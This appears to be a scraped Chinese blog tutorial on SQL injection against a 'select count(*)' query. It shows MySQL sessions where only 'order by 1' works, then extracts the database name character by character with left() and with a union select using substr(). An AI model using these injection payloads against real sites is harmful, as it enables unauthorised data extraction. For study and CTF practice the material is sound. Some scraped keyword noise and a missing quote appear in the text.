1. 程式人生 > >select count(*) from user註入

select count(*) from user註入

select from pre rom col 直接 語句 bstr lec

先來看一條sql語句:

1 mysql> select * from flag where id =1;
2 +------+----------+----------+------------+
3 | id   | username | password | flag       |
4 +------+----------+----------+------------+
5 | 1    | 1        | 1        | flag{xxoo} |
6 +------+----------+----------+------------+
7 1 row in set
(0.00 sec)

有四個字段,所以order by自然是4

但是不是*而是count(*)的時候。order by 4就錯誤了

1 mysql> select count(*) from flag where id =1 order by 4;
2 ERROR 1054 (42S22): Unknown column 4 in order clause

僅order by 1正確。

所以只能只能為1

這時候可以采用截取的方法進行註入。

這裏推薦一個比較簡單的。

1 mysql> select count(*) from flag where id =1 and left
(database(),1)=t; 2 +----------+ 3 | count(*) | 4 +----------+ 5 | 1 | 6 +----------+ 7 1 row in set (0.00 sec)

直接通過left 截取會更加便捷。

使用substr需要多出一條sql

1 mysql> select count(*) from flag where id =1 union select substr(database(),1);
2 +----------+
3 | count(*) |
4 +----------+
5 | 1        |
6 | test | 7 +----------+ 8 2 rows in set (0.00 sec)

不是那麽好。所以使用left 是最好的。

select count(*) from user註入